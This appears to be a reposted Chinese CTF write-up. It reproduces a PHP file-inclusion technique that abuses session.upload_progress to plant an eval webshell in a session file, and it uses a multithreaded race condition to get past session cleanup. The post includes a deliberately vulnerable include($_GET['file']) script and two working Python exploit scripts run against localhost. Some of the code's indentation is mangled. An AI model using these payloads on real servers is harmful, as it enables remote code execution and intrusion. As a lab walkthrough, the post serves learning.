利用session.upload_progress进行文件包含

蚂蚁

这次ciscn有一道web题考的就是这个知识点,但当时没有尝试去扫路径,被开头给的源码卡死了有点儿遗憾,不过还是想自己复现一下这个小trick。

先来看看pimage.png

我们可以post session.upload_progress参数,写入木马。

这个选项可以让我们自己定义文件名。
例如,控制phsession=flag,则文件名就变为/tmp/sess_flag
这里还有一个配置选项是默认开启的
session.upload_progress.cleanup,这个选项会让post进程结束时删掉所有session文件。
我们先在php.ini里面关掉这个配置,结合上面的内容写木马试试。
session.php

<?php

$file = $_GET['file'];
include($file);
?>

1
2
3
4
exp1.py

import io
import requests
import threading

sessid = 'aaaaaaa'

def write_session(session):

url = '127.0.0.1/session.php'
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'http://127.0.0.1/session.php?file=1.txt', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('fmyyy.txt',f)}, cookies={'PHPSESSID': sessid} )

if name == '__main__':

with requests.session() as session:
    write_session(session)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
准备好了,运行exp1.py
来看看session文件目录多了什么。

多了个sess_aaaaaaa
看一下里面的内容。

可以看到,再开头这边木马已经被写入。我们在浏览器试试这个木马。

成功执行。

可以看到这个session是可以包含的,但session.upload_progress.cleanup这个配置是默认开启的,所以这里我们就需要利用条件竞争了。

import io
import requests
import threading
sessid = 'bbbbbbb'
data = {"cmd":"system('ls');"}
def write(session):

while True:
    f = io.BytesIO(b'a' * 1024 * 50)
    resp = session.post( 'http://127.0.0.1/session.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': sessid} )

def read(session):

while True:
    resp = session.post('http://127.0.0.1/session.php?file=/Applications/phpstudy/Extensions/tmp/tmp/sess_'+sessid,data=data)
    if '1.txt' in resp.text:
        print(resp.text)
        event.clear()
    else:
        print("[+++++++++++++]retry")

if __name__=="__main__":

event=threading.Event()
with requests.session() as session:
    for i in range(1,30): 
        threading.Thread(target=write,args=(session,)).start()

    for i in range(1,30):
        threading.Thread(target=read,args=(session,)).start()
event.set()

————————————————
版权声明:本文为CSDN博主「fmyyy1」的原创文章,遵循CC 4.0 BY-SA版权协议
技术支持: 微信刷步数 IP查询

阅读 807

python日记
没有个性

没有个性

1 声望
0 粉丝
0 条评论

没有个性

1 声望
0 粉丝
文章目录
宣传栏